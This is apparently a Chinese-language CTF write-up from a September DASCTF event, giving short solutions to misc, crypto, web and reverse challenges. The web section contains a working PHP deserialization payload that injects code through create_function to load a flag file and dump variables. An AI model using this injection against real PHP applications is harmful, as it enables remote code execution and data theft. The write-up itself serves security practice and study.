九月dasctf WriteUp

MISC

Girlfriend's account

简单excel转换，公式放着，自己弄

=SUM(ISNUMBER(SEARCH(TEXT({1,2,3,4,5,6,7,8,9},"[dbnum2]"&{"0亿";"0仟!万";"0佰!万";"0拾!万";"0万";"万!0仟";"万!0佰";"万!0拾";"0元";"0角";"0分"}),IF(ISERR(FIND("万",A2)),"万",)&A2)){1,2,3,4,5,6,7,8,9}10^{8;7;6;5;4;3;2;1;0;-1;-2})

=IF(B3="壹",1,IF(B3="贰",2,IF(B3="叁",3,IF(B3="肆",4,IF(B3="伍",5,IF(B3="陆",6,IF(B3="柒",7,IF(B3="捌",8,IF(B3="玖",9)))))))))

双目失明，身残志坚

盲水印，盲文，汉语拼音，不是常规英文字母

ZipBomb

脚本放着

import os.path
import zipfile
import re

dir_path='C:\\Users\\Snowywar\\Desktop\\zipBomb'
files= os.listdir(dir_path)
newfiles = files[::-1]
print(newfiles)
setee = []
for file in newfiles: #遍历文件夹
    position = dir_path+'\\'+ file #构造绝对路径，"\\"，其中一个'\'为转义符
    print (position)           
    z = zipfile.ZipFile(position, 'r')
    for filename in z.namelist():
        bytes = z.read(filename)
        if b'Zmxh' in bytes:
            print(filename)

CRYPTO

签到

from sympy.ntheory import discrete_log

n = 2**256
m = 73964803637492582853353338913523546944627084372081477892312545091623069227301
c = 21572244511100216966799370397791432119463715616349800194229377843045443048821

flag = discrete_log(n,c,m) 

print(hex(flag))

WEB

hellounser

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
}

$a = new A();
$b = new B();

$b -> func = 'create_function';
$b -> arg = 'return 111;}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//';
$a -> var = $b;

echo serialize($a);

REVERSE

ea5ycpp

d = [  0x68, 0x6F, 0x65, 0x6C, 0x81, 0x69, 0x7A, 0x3D, 0x3B, 0x79,
  0x6B, 0x73, 0x38, 0x39, 0x7B, 0x70, 0x7B, 0x48, 0x73, 0x7C,
  0x85, 0x47, 0x7C, 0x96]
for i in range(len(d)):
    print(chr(d[i] - 2 - i))